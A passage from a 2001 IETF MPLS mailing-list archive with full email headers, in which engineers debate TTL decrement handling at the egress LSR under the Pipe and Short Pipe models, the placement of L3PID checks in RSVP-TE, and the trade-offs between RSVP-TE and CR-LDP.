	by hymir.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id f9BDDml09736;
	Thu, 11 Oct 2001 06:13:49 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <SV4KJSVD>; Thu, 11 Oct 2001 06:16:16 -0700
Message-ID: <4B6D09F3B826D411A67300D0B706EFDE5CCA8E@nt-exch-yow.pmc-sierra.bc.ca>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'Puneet Agarwal'" <puneet@pluris.com>
Cc: mpls@UU.NET
Subject: RE: New revision of the MPLS ttl draft
Date: Thu, 11 Oct 2001 06:16:13 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Puneet,

I think the flexibility on the TTL decrementing by the egress LSR is something that is not desirable in the scenario that I mentioned. This kind of flexibility requires complicated signaling between service provider and customer in order to inform the provider of the changes in the customer network, as well as a database in the egress LSR to store each customer's requirements. Also the flexibility may lead to interoperability problem.

Therefore I argue that the egress LSR in the pipe model MUST do a deterministic TTL operation (NOT FLEXIBLE), be it a decrement of "0" or "1" or any "n", but for a standard interoperable operation it should not be configurable. 

If flexibility is required the short pipe model could be used.

Yours,
-Shahram

> -----Original Message-----
> From: Puneet Agarwal [mailto:puneet@pluris.com]
> Sent: Wednesday, October 10, 2001 7:41 PM
> To: Shahram Davari; 'Eric Gray'
> Cc: Puneet Agarwal; mpls@UU.NET
> Subject: RE: New revision of the MPLS ttl draft
> 
> 
> Hi Shahram,
> 
> Your solution (B) assumes that D (the service provider egress LSR)
> decrements the TTL by 3. The draft is extremely flexible and 
> actually allows
> identical result by considering an alternate solution (C).
> 
> (C) Let D subtract by 1 and G subtract by 3. This will give 
> you identical
> behaviour and in this case the subtract by 3 knowledge 
> resides completely in
> the customers network and the service provider has no knowledge of the
> customers TTL decrement policy. 
> 
> From the service provider's perspective, a packet that enters 
> their network
> with TTL n, then is encapsulated in a Pipe Model tunnel (with 
> TTL n-1),
> exits their network with TTL n-2 [spec section 4.3](if the 
> service providers
> wants to decrement ttl by 1 for each hop internally) for all 
> customers. The
> customers can still choose to implement any ttl decrement 
> policy that is
> unknown to the service provider. 
> 
> Hope this helps and addresses your concern. Hence I do not 
> see a need to
> change the draft.
> 
> Thanks.
> 
> -Puneet
> 
> 
> >-----Original Message-----
> >From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> >Sent: Wednesday, October 10, 2001 1:30 PM
> >To: 'Eric Gray'
> >Cc: 'Puneet Agarwal'; mpls@UU.NET
> >Subject: RE: New revision of the MPLS ttl draft
> >
> >
> >Hi Eric,
> >
> >Because the TTL of the inner LSP belongs to the customer. And 
> >the customer has a policy of let's say subtracting a value of 
> >"n" from TTL. Now if the customer does not have control over 
> >the TTL subtraction, even in a single node, the TTL may get 
> >expired earlier or later than he expects. Let me give you an example:
> >
> >                       
> > A-------B-----C-----D-----E------F-----G-----H
> > --------> LSP1----->
> > -------------------->LSP2------------------->
> >     TTL = N
> >
> >Assume 
> >1) LSP2 is the inner LSP
> >2) A, B, C, H and the ingress port of D are POS.
> >3) The egress port of D is LC-ATM
> >4) E, F are ATM LSRs
> >5) The ingress port of G is LC-ATM
> >6) The egress port of G is POS.
> >7) A,B,C,D belong to provider X
> >8) E,F,G,H belong to provider Y
> >9) TTL=N for LSP2 between A and D
> >
> >In theory the TTL received by H must be N-4. However, since E, 
> >F and ingress of G are ATM, they can't subtract the TTL. 
> >
> >There are two solutions:
> >
> >A) Let's D do nothing and the customer Y subtract a value of 4 
> >at the egress port of G, when the packet is sent to H.
> >B)Let D subtract a value of 3 before sending it to E, and G 
> >subtract TTL by 1.
> >
> >It seems that for Pipe model, the current draft prefers the 
> >second solution,while I prefer the first one. The reason is 
> >that by choosing option B, you need to store the value to be 
> >subtracted from TTL for each individual customer, while in 
> >method A, it is up to customer to subtract whatever value he wants.
> >
> >My argument is that the Short pipe model should fulfill method 
> >B, and Pipe model should fulfill method A.
> >
> >
> >Yours,
> >-Shahram
> >
> >> -----Original Message-----
> >> From: Eric Gray [mailto:eric.gray@sandburst.com]
> >> Sent: Wednesday, October 10, 2001 3:10 PM
> >> To: Shahram Davari
> >> Cc: 'Puneet Agarwal'; mpls@UU.NET
> >> Subject: Re: New revision of the MPLS ttl draft
> >> 
> >> 
> >> Shahram,
> >> 
> >>     Can you help me to understand this question?  Why would 
> >> the customer
> >> router dwnstream of the egress LSR want (or need) to know 
> >how much TTL
> >> has been decremented by the egress LSR?
> >> 
> >> You wrote:
> >> 
> >> > Hi Puneet,
> >> >
> >> > But your draft says that any value other than 1 can be 
> >> subtracted from TTL. So how does a customer router that sits 
> >> downstream of the egress LSR know how much has been 
> >> subtracted from the TTL?
> >> >
> >> > Yours,
> >> > -Shahram
> >> >
> >> > > -----Original Message-----
> >> > > From: Puneet Agarwal [mailto:puneet@pluris.com]
> >> > > Sent: Tuesday, October 09, 2001 11:09 PM
> >> > > To: Shahram Davari; mpls@UU.NET
> >> > > Subject: RE: New revision of the MPLS ttl draft
> >> > >
> >> > >
> >> > > Hi Shahram,
> >> > >
> >> > > Thanks for your comments.
> >> > >
> >> > > Regarding not storing the TTL decrementing policy of the
> >> > > customer in the
> >> > > provider's egress LSR(s), I do not think that the proposed
> >> > > ttl processing
> >> > > needs/requires the customers ttl decrement policy to be known
> >> > > to the Egress
> >> > > LSRs. From a customers perspective, they send a packet with
> >> > > ttl n and they
> >> > > get back a packet with ttl n-2. If the customer wants, they
> >> > > can decrement
> >> > > the ttl by any amount they want without the providers egress
> >> > > LSR knowing
> >> > > anything about it. TTL processing is different (and easier to
> >> > > determine)
> >> > > than PHB determination as the TTL field has the same
> >> > > semantics in either the
> >> > > providers network or the customers network - which is not
> >> > > true for the bits
> >> > > used for PHB determination.
> >> > >
> >> > > Hence I do not see a reason to change the TTL decrementing
> >> > > policy for Pipe
> >> > > model LSPs. (There are other valid reasons for our proposal
> >> > > but they are not
> >> > > relevant to the points you've raised).
> >> > >
> >> > > Hope this helps.
> >> > >
> >> > > Thanks.
> >> > >
> >> > > -Puneet
> >> > >
> >> > > >-----Original Message-----
> >> > > >From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> >> > > >Sent: Tuesday, October 09, 2001 1:34 PM
> >> > > >To: 'Puneet Agarwal'; mpls@UU.NET
> >> > > >Subject: RE: New revision of the MPLS ttl draft
> >> > > >
> >> > > >
> >> > > >Hi Puneet,
> >> > > >
> >> > > >The reason that Pipe model was introduced was that we didn't
> >> > > >want to store the customer policies in the egress LSR. This
> >> > > >meant from the Diffserv perspective, that we didn't want to
> >> > > >store EXP<=>PHB mapping for each individual customer. The Pipe
> >> > > >model essentially terminates the tunnel on the ingress line
> >> > > >card of the Router downstream of the Egress LSR, rather than
> >> > > >on the egress line-card of the egress LSR.
> >> > > >
> >> > > >As mentioned in your draft, each domain may have its own
> >> > > >policy (value to be decremented) for decrementing the TTL.
> >> > > >Therefore it seems to me that for the same reason, it is
> >> > > >better not to store TTL decrementing policy and apply it to
> >> > > >the packet in the egress LSR for the Pipe model.
> >> > > >
> >> > > >Therefore I suggest that the Pipe model TTL processing be the
> >> > > >same as Short-pipe model with PHP.
> >> > > >
> >> > > >Yours,
> >> > > >-Shahram
> >> > > >
> >> > > >> -----Original Message-----
> >> > > >> From: Puneet Agarwal [mailto:puneet@pluris.com]
> >> > > >> Sent: Monday, October 08, 2001 5:18 PM
> >> > > >> To: mpls@UU.NET
> >> > > >> Subject: New revision of the MPLS ttl draft
> >> > > >>
> >> > > >>
> >> > > >> A new revision of the "TTL Processing in MPLS Networks" has
> >> > > >> been submitted.
> >> > > >> This updates the -00 version of the draft.
> >> > > >>
> >> > > >> Any comments/suggestions would be much appreciated.
> >> > > >>
> >> > > >> -Puneet and Bora
> >> > > >>
> >> > > >>
> >> > > >>
> >> > > >
> >> > >
> >> 
> >> --
> >> Eric Gray (mailto:eric.gray@sandburst.com)
> >> http://www.mindspring.com/~ewgray
> >> 
> >> 
> >> 
> >
> 



From owner-mpls@UU.NET  Thu Oct 11 09:30:23 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA16001
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 09:30:23 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkgz28263;
	Thu, 11 Oct 2001 13:28:41 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkgz21073
	for mpls-outgoing; Thu, 11 Oct 2001 13:28:06 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkgz21066
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 13:28:03 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkgz26512
	for <mpls@uu.net>; Thu, 11 Oct 2001 13:25:05 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkgz08230
	for <mpls@uu.net>; Thu, 11 Oct 2001 13:25:20 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA14982 for <mpls@uu.net>; Thu, 11 Oct 2001 09:25:05 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA08183 for mpls@uu.net; Thu, 11 Oct 2001 09:25:05 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkgz20777
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 13:23:49 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkgz21349
	for <mpls@UU.NET>; Thu, 11 Oct 2001 13:23:17 GMT
Received: from mother.pmc-sierra.bc.ca by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: mother.pmc-sierra.bc.ca [216.241.224.12])
	id QQlkgz12646
	for <mpls@UU.NET>; Thu, 11 Oct 2001 13:23:09 GMT
Received: (qmail 26077 invoked by uid 104); 11 Oct 2001 13:23:16 -0000
Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-1.00 (uvscan: v4.1.40/v4165. . Clean. Processed in 0.437159 secs); 11 Oct 2001 13:23:16 -0000
Received: from unknown (HELO procyon.pmc-sierra.bc.ca) (134.87.115.1)
  by mother.pmc-sierra.bc.ca with SMTP; 11 Oct 2001 13:23:15 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by procyon.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id f9BDNEM19319;
	Thu, 11 Oct 2001 06:23:14 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <SV4KJSYV>; Thu, 11 Oct 2001 06:25:40 -0700
Message-ID: <4B6D09F3B826D411A67300D0B706EFDE5CCA8F@nt-exch-yow.pmc-sierra.bc.ca>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'neil.2.harrison@bt.com'" <neil.2.harrison@bt.com>
Cc: puneet@pluris.com, mpls@UU.NET
Subject: RE: New revision of the MPLS ttl draft
Date: Thu, 11 Oct 2001 06:25:38 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Neil,

Thanks for your comments. The Pipe model was introduced exactly for the reasons that you described. The short pipe model was introduced for those who want their server layer have knowledge of their client layer and manipulate their client layer.

I fact the pipe model was added to the mpls-diff-ext draft in one of the its latest versions, and the reason was that people were asking for it. 

Both models were introduced to let people choose whichever model they like. 

Yours,
-Shahram

> -----Original Message-----
> From: neil.2.harrison@bt.com [mailto:neil.2.harrison@bt.com]
> Sent: Thursday, October 11, 2001 4:20 AM
> To: Shahram Davari; eric.gray@sandburst.com
> Cc: puneet@pluris.com; mpls@UU.NET
> Subject: RE: New revision of the MPLS ttl draft
> 
> 
> Shaham,
> 
> As I am sure you know having spoken with me on this several 
> times, the only
> architectural model that makes any sense when dealing with 
> layer networks
> (any technology) is that 'a client layer link connection (ie 
> a single hop
> between nodes at layer N say) is provided by a server layer 
> trail connection
> at layer N+1'.  The key observation is that the number of hops (=link
> connections) that constitute the server layer trail can be 
> arbitrary.  And
> note carefully that *each* of the link connections of the 
> trail at layer N+1
> can in turn be composed of further lower (server) layer trail 
> connections at
> layer N+2.  This relationship recurses to the duct network.
> 
> It makes no sense to try and predict/guess the number of 
> server layer link
> connections at all levels below the layer of interest because:
> -	they are not necessarily known (ie the recursion issue);
> -	they may be owned by some other party providing a 
> transit service
> (which you note below);
> -	the number of *link connections* that compose a sever 
> layer trail
> (at *any* level below that of interest) could very easily 
> change due to
> protection-switching....and one would not want (or 
> necessarily be able) to
> review some 'guessed' TTL decrement at a higher layer level.
> 
> So the only architectural view that makes any sense is where 
> the TTL is
> treated independently at each layer network.
> 
> Option B below makes no sense.....it requires (in the example 
> you gave) a
> different party to know the number of link connections in 
> someone else's
> network (and also know when this changes, say due to prot-sw).
> 
> So only option A is therefore viable (and I note you prefer this
> anyway)....however, it still requires the predicting of TTL decrement,
> though now it is under the control of the same party.  To 
> cater for the case
> of prot-sw say where the number of link connections may 
> change (say between
> E and H), I guess one could set a fixed decrement that was 
> not necessarily
> related to the exact number of link connections.  However, 
> I'm not at all
> sure this gives any *real* benefits, since the efficacy of TTL is only
> realised when it is indeed decremented on a link connection basis.
> 
> regards, Neil
> 
> > -----Original Message-----
> > From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> > Sent: 10 October 2001 21:30
> > To: 'Eric Gray'
> > Cc: 'Puneet Agarwal'; mpls@UU.NET
> > Subject: RE: New revision of the MPLS ttl draft
> > 
> > 
> > Hi Eric,
> > 
> > Because the TTL of the inner LSP belongs to the customer. And 
> > the customer has a policy of let's say subtracting a value of 
> > "n" from TTL. Now if the customer does not have control over 
> > the TTL subtraction, even in a single node, the TTL may get 
> > expired earlier or later than he expects. Let me give you 
> an example:
> > 
> >                        
> >  A-------B-----C-----D-----E------F-----G-----H
> >  --------> LSP1----->
> >  -------------------->LSP2------------------->
> >      TTL = N
> > 
> > Assume 
> > 1) LSP2 is the inner LSP
> > 2) A, B, C, H and the ingress port of D are POS.
> > 3) The egress port of D is LC-ATM
> > 4) E, F are ATM LSRs
> > 5) The ingress port of G is LC-ATM
> > 6) The egress port of G is POS.
> > 7) A,B,C,D belong to provider X
> > 8) E,F,G,H belong to provider Y
> > 9) TTL=N for LSP2 between A and D
> > 
> > In theory the TTL received by H must be N-4. However, since 
> > E, F and ingress of G are ATM, they can't subtract the TTL. 
> > 
> > There are two solutions:
> > 
> > A) Let's D do nothing and the customer Y subtract a value of 
> > 4 at the egress port of G, when the packet is sent to H.
> > B)Let D subtract a value of 3 before sending it to E, and G 
> > subtract TTL by 1.
> > 
> > It seems that for Pipe model, the current draft prefers the 
> > second solution,while I prefer the first one. The reason is 
> > that by choosing option B, you need to store the value to be 
> > subtracted from TTL for each individual customer, while in 
> > method A, it is up to customer to subtract whatever value he wants.
> > 
> > My argument is that the Short pipe model should fulfill 
> > method B, and Pipe model should fulfill method A.
> > 
> > 
> > Yours,
> > -Shahram
> ><snipped to end NH>
> 



From owner-mpls@UU.NET  Thu Oct 11 10:05:25 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16651
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 10:05:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkhc18496;
	Thu, 11 Oct 2001 14:02:50 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkhc03890
	for mpls-outgoing; Thu, 11 Oct 2001 14:02:21 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkhc02625
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 14:02:08 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkhc19080
	for <mpls@uu.net>; Thu, 11 Oct 2001 14:02:03 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkhc05060
	for <mpls@uu.net>; Thu, 11 Oct 2001 14:02:17 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA19764 for <mpls@uu.net>; Thu, 11 Oct 2001 10:02:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA10233 for mpls@uu.net; Thu, 11 Oct 2001 10:02:02 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkhc27962
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 14:01:19 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkhc16785
	for <mpls@UU.NET>; Thu, 11 Oct 2001 14:00:57 GMT
Received: from mother.pmc-sierra.bc.ca by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: mother.pmc-sierra.bc.ca [216.241.224.12])
	id QQlkhc03241
	for <mpls@UU.NET>; Thu, 11 Oct 2001 14:01:11 GMT
Received: (qmail 13978 invoked by uid 104); 11 Oct 2001 14:00:56 -0000
Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-1.00 (uvscan: v4.1.40/v4165. . Clean. Processed in 2.649308 secs); 11 Oct 2001 14:00:56 -0000
Received: from unknown (HELO procyon.pmc-sierra.bc.ca) (134.87.115.1)
  by mother.pmc-sierra.bc.ca with SMTP; 11 Oct 2001 14:00:52 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by procyon.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id f9BE0mM26860;
	Thu, 11 Oct 2001 07:00:48 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <SV4KJT2N>; Thu, 11 Oct 2001 07:03:15 -0700
Message-ID: <4B6D09F3B826D411A67300D0B706EFDE5CCA90@nt-exch-yow.pmc-sierra.bc.ca>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'Feng, Mark'" <m_feng@trillium.com>,
        "'Apratim Mukherjee'"
	 <ApratimM@netbrahma.com>, mpls@UU.NET
Subject: RE: Use of L3PID
Date: Thu, 11 Oct 2001 07:03:13 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

One reason might be that the intermediate LSRs need to know the L3PID in order to generate proper ICMP.

Yours,
-Shahram

> -----Original Message-----
> From: Feng, Mark [mailto:m_feng@trillium.com]
> Sent: Wednesday, October 10, 2001 5:04 PM
> To: 'Apratim Mukherjee'; mpls@UU.NET
> Subject: RE: Use of L3PID
> 
> 
> IMO, only the egress node should check. The transit nodes are merely
> forwarding the data packets. Whether they support the L3PID 
> protocol does
> not seem to be relevant.
> 
> - Mark
> 
> > -----Original Message-----
> > From: Apratim Mukherjee [mailto:ApratimM@netbrahma.com]
> > Sent: Tuesday, October 09, 2001 11:31 PM
> > To: mpls@UU.NET
> > Subject: Use of L3PID
> > 
> > 
> > Hi,
> > 
> > The Label Request Object carries the L3PID expected to be 
> > supported at the 
> > 'reciever' .
> > draft-ietf-mpls-rsvp-lsp-tunnel-08.txt:
> > "If the receiver cannot support the protocol L3PID, it SHOULD 
> > send a PathErr
> > with the error code "Routing problem" and the error 
> value"Unsupported
> > L3PID."  This causes the RSVP session to fail."
> > But it is not clear to me as to where the check for this 
> > support is to be
> > carried out . Existing documents ( especially the Juniper 
> > implementation
> > white paper ) seem to suggest that this check should be 
> > carried out at every
> > LSR . 
> > But , lets look at a situation :
> > Ingress-->LSR1-->LSR2--->Egress
> > IPv6        IPv4       IPv4      IPv6 
> > 
> > So , in this case the LSP will be aborted at  LSR1 itself. 
> > However , if the
> > check were to be made only at the egress , the Lsp would have 
> > been set up
> > and data packets also would have gone through , since they do 
> > not need any
> > IPv6 support at either LSR 1 or LSR 2, they need it only at 
> > the Ingress and
> > Egress .
> > 
> > Please tell me if I am missing out on something here,
> > Thanks,
> > Apratim
> > 
> > 
> 



From owner-mpls@UU.NET  Thu Oct 11 10:19:26 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16929
	for <mpls-archive@lists.ietf.org>; Thu, 11 Oct 2001 10:19:26 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkhd01471;
	Thu, 11 Oct 2001 14:17:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkhd14386
	for mpls-outgoing; Thu, 11 Oct 2001 14:17:21 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkhd14381
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 14:17:18 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkhd18083
	for <mpls@uu.net>; Thu, 11 Oct 2001 14:17:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkhd08675
	for <mpls@uu.net>; Thu, 11 Oct 2001 14:16:54 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA21755 for <mpls@uu.net>; Thu, 11 Oct 2001 10:17:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA11595 for mpls@uu.net; Thu, 11 Oct 2001 10:17:02 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkha21471
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 11 Oct 2001 13:31:57 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkha28212
	for <mpls@uu.net>; Thu, 11 Oct 2001 13:30:24 GMT
Received: from yucntsys1.yucom.be by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [212.8.180.1])
	id QQlkha01688
	for <mpls@uu.net>; Thu, 11 Oct 2001 13:30:39 GMT
Received: from mail pickup service by yucntsys1.yucom.be with Microsoft SMTPSVC;
	 Thu, 11 Oct 2001 15:29:33 +0200
Received: from host.secure4-hosting.net ([209.239.41.31]) by yucntsys1.yucom.be  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Wed, 10 Oct 2001 17:56:47 +0200
Received: (from mplsrc12@localhost)
	by host.secure4-hosting.net (8.10.2/8.10.2) id f9AFuZC25543;
	Wed, 10 Oct 2001 11:56:35 -0400
X-Authentication-Warning: host.secure4-hosting.net: mplsrc12 set sender to mpls-ops-request@mplsrc.com using -f
Message-Id: <4.3.2.7.2.20011010105452.01e98c78@fargo.cisco.com>
X-Sender: chrlewis@fargo.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
X-Priority: 1 (Highest)
Date: Wed, 10 Oct 2001 11:02:07 -0500
To: syed ali <ifsyed@rocketmail.com>
From: Christopher Lewis <chrlewis@cisco.com>
Subject: Re: RSVP-TE vs LDP
Cc: adithya@sasken.com, "mpls@UU.NET" <mpls@UU.NET>,
        "mpls-ops@mplsrc.com" <mpls-ops@mplsrc.com>
In-Reply-To: <20011010135812.97213.qmail@web14201.mail.yahoo.com>
References: <3BC40A3E.829F1ED6@sasken.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_10504064==_.ALT"
X-Mailing-List: <mpls-ops@mplsrc.com> archive/latest/2567
X-Loop: mpls-ops@mplsrc.com
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_10504064==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Syed,

Basically they are two alternatives that approach the problem from 
different perspectives;

Alternative 1
Take a well established, well tested, existing protocol for signaling QoS 
over IP networks (viz., RSVP), and extend it to support both label 
distribution and path setup based on explicit routes.   Use the existing 
and developing IP QoS model, so as to leverage past and ongoing IETF work 
on QoS and on signaling of QoS.

Alternative 2
Extend the newly designed LDP protocol to add explicit route setup and QoS 
signaling, thereby creating CR-LDP.

Both alternatives proceeded by taking a protocol and extending it into 
areas beyond its original intended application.  Both alternatives added 
explicit route support to protocols, which originally did not have it.  The 
real difference is whether to take a QoS signaling protocol and add label 
distribution, or whether to take a label distribution protocol and add QoS 
signaling.

It seems that more vendors vote for alternative 1.

I'll send you a separate e-mail with a PDF from Data Conenctions Ltd. in 
the UK comparing the two protocols.

Chris

At 08:58 AM 10/10/2001, syed ali wrote:
>Guys,
>      Is there a doc that describes the pros and cons
>of each.
>
>thanks
>Syed
>
>=====
>TIME IS A LUXURY YOU CAN'T AFFORD!
>
>__________________________________________________
>Do You Yahoo!?
>Make a great connection at Yahoo! Personals.
>http://personals.yahoo.com
>
>-------
>The MPLS-OPS Mailing List
>Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
>Archive: http://www.mplsrc.com/mpls-ops_archive.shtml

--=====================_10504064==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Syed,<br>
<br>
Basically they are two alternatives that approach the problem from
different perspectives;&nbsp; <br>
<br>
Alternative 1<br>
Take a well established, well tested, existing protocol for signaling QoS
over IP networks (viz., RSVP), and extend it to support both label
distribution and path setup based on explicit routes.&nbsp;&nbsp; Use the
existing and developing IP QoS model, so as to leverage past and ongoing
IETF work on QoS and on signaling of QoS.<br>
<br>
Alternative 2<br>
Extend the newly designed LDP protocol to add explicit route setup and
QoS signaling, thereby creating CR-LDP. <br>
<br>
Both alternatives proceeded by taking a protocol and extending it into
areas beyond its original intended application.&nbsp; Both alternatives
added explicit route support to protocols, which originally did not have
it.&nbsp; The real difference is whether to take a QoS signaling protocol
and add label distribution, or whether to take a label distribution
protocol and add QoS signaling.<br>
<br>
It seems that more vendors vote for alternative 1.<br>
<br>
I'll send you a separate e-mail with a PDF from Data Conenctions Ltd. in
the UK comparing the two protocols. <br>
<br>
Chris<br>
<br>
At 08:58 AM 10/10/2001, syed ali wrote:<br>
<blockquote type=cite cite>Guys,<br>
&nbsp;&nbsp;&nbsp;&nbsp; Is there a doc that describes the pros and
cons<br>
of each.<br>
<br>
thanks<br>
Syed<br>
<br>
=====<br>
TIME IS A LUXURY YOU CAN'T AFFORD!<br>
<br>
__________________________________________________<br>
Do You Yahoo!?<br>
Make a great connection at Yahoo! Personals.<br>
<a href="http://personals.yahoo.com/" eudora="autourl">http://personals.yahoo.com</a><br>
<br>
-------<br>
The MPLS-OPS Mailing List<br>
Subscribe/Unsubscribe:&nbsp;
<a href="http://www.mplsrc.com/mplsops.shtml" eudora="autourl">http://www.mplsrc.com/mplsops.shtml</a><br>
Archive:
<a href="http://www.mplsrc.com/mpls-ops_archive.shtml" eudora="autourl">http://www.mplsrc.com/mpls-ops_archive.shtml</a></blockquote></html>

--=====================_10504064==_.ALT--

-------
The MPLS-OPS Mailing List
Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
Archive: http://www.mplsrc.com/mpls-ops_archive.shtml



From owner-mpls@UU.NET  Thu Oct 11 10:51:36 2001
